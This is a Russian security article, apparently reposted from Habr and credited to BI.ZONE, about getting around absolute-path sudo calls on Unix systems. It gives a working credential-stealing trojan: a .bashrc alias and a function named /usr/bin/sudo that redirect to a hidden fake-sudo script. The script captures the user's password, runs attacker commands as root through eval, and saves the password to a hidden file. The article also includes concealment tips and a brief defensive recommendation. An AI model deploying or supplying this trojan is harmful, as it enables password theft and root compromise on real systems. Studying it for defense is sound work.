- PVSM.RU - https://www.pvsm.ru -

Так ли безопасно использование абсолютного пути в *nix системах, как мы привыкли считать?

image

Идея редактирования переменных окружения пользователя для повышения прав при тестировании на проникновение стара как мир. По этой теме написано множество статей, и даже в книгах начали появляться советы по использованию абсолютного пути вместо относительного. Вот пример такого совета из довольно известной книги Unix и Linux. Руководство системного администратора (4 издание):

…
Рекомендуем взять за правило при вводе команды указывать полное имя, например /bin/su или /usr/bin/su, а не просто su. Это послужит определенной защитой от тех программ с именем su, которые преднамеренно были прописаны в переменной среды path злоумышленником, намеревавшимся собрать хороший “урожай” паролей.
…

Но так ли это безопасно? Если вы тоже задавались этим вопросом, то добро пожаловать под кат.

Давайте по порядку. Допустим, мы попали на *nix сервер под учетной записью пользователя с ограниченными правами. Мы хотим получить права рута, но паролей мы не знаем. Допустим, мы перепробовали все стандартные способы повышения прав через ошибки в конфигурациях и различные эксплойты под ядро, но всё безрезультатно. Казалось бы, вариантов не осталось. Однако, если пользователь есть в группе sudo, то можно попробовать провернуть один трюк.

Идея заключается в том, что на большинстве *nix машин используется sudo для временного повышения прав. При использовании sudo пользователю требуется ввести его текущий пароль. Следовательно, знание пароля пользователя с доступом к sudo даёт нам рута.

Почти все современные *nix сервера используют bash или zsh в качестве стандартной командной оболочки. У них есть файлы конфигов (например, .bashrc для bash), которые хранятся в домашней директории. С их помощью можно изменить в командной оболочке почти всё. По умолчанию они имеют права 644 (-rw-r--r--), следовательно, владелец может их редактировать без особых проблем.

Суть заключается в том, что командные оболочки имеют alias`ы, с помощью которых можно укорачивать команды.

Например, стандартный alias из .bashrc:

alias ll='ls -alF'

При вызове ll на самом деле будет вызываться ls –alF. Аналогично мы можем поступить с sudo:

alias sudo='echo PWNED'

После этого выполнение команды sudo по относительному пути будет вызывать то, что мы указали в alias`е.

image{1.png}

Использовать слеши в alias нельзя, поэтому абсолютный путь действительно является безопасным решением в данном случае. Так же абсолютный путь спасёт в случае редактирования переменной окружения PATH.

А теперь рассмотрим случай, в котором абсолютный путь не спасёт. В конфигурация можно создавать функции, которые работают аналогично alias`ам за исключением того, что в их именах можно использовать слеши:

function /usr/bin/sudo() {
        echo PWNED
}

Теперь вызов /usr/bin/sudo будет тоже выполнять наш код.

image{2.png}

Следующий этап – написание скрипта, который будет вести себя аналогично sudo (спрашивать пароль и повышать права пользователя), но одновременно с этим перехватывать пароль пользователя и выполнять произвольный код с правами администратора.

В конце концов, мы получим исполнение нашего скрипта при попытке вызвать sudo через абсолютный или относительный путь.

Для начала пишем код ядовитого sudo:

#!/bin/bash

echo -n "[sudo] password for $LOGNAME: "
read -s password
echo

command='whoami'

eval "echo -e $password | sudo -S --prompt='' $command"
eval "echo -e $password | sudo -S --prompt='' $*"

Он спрашивает пароль пользователя в стиле sudo, после чего сохраняет его в переменную, выполняет наш код с повышенными правами и затем выполняет то, что хотел пользователь.
Теперь прячем его в какую-нибудь неприметную папку (например ~/.local) и выставляем на него +x права на исполнение (chmod +x sudo). Имя файла нам, по сути, безразлично, так что лучше его тоже назвать как-нибудь неприметно (например, .config).

С помощью read -s password мы считываем пароль в переменную $password.
В переменной command='whoami' содержится команда, которую мы будем выполнять с повышенными правами.

Конструкция echo -e $password | sudo -S в данном случае используется для того, чтобы передать нашу переменную с паролем $password в sudo через stdin.

--prompt='' нужно для того, чтобы реальное sudo не выводило сообщение о просьбе ввода пароля, когда мы к ней обратимся, иначе это будет выглядеть несколько подозрительно.

Теперь нужно найти полный путь до sudo с помощью whereis. Например, /usr/bin/sudo. Поправим .bashrc так, чтобы команды sudo и /usr/bin/sudo запускали наш скрипт. Для этого нужно записать в .bashrc (куда-нибудь в центр для неприметности) следующий код, который следует отредактировать под себя:

alias sudo='~/.local/.config'
function /usr/bin/sudo() {
        eval "~/.local/.config $*"
}

Проверяем:

image{3.png}

Профит. Теперь попробуем сохранить пароль пользователя в файл. Для этого заменим текущую команду.

command="echo $password > ~/.local/.1"

Пробуем:

image{4.png}

Всё получилось. qwerty123 и есть пароль пользователя. Остаётся еще множество частных случаев, при которых наш скрипт может повести себя некорректно. Например, sudo su или sudo --help. Поскольку в этой статье мы рассматриваем только возможность реализации подобной атаки, то процесс доведения её до блеска я перекладываю на плечи читателя.

Теперь вы знаете, что использование абсолютного пути в *nix системах не так уж безопасно.

А теперь главный вопрос: как же защититься от возможной атаки? На мой взгляд, оптимальным вариантом будет разрешить редактирование .bashrc только из под root`а. Конечно, есть второй вариант, но он менее удобный и безопасный: постоянно проверять целостность конфигов.

Спасибо за внимание :)

Автор: BI.ZONE

Источник [1]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/sudo/245450

Ссылки в тексте:

[1] Источник: https://habrahabr.ru/post/322220/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best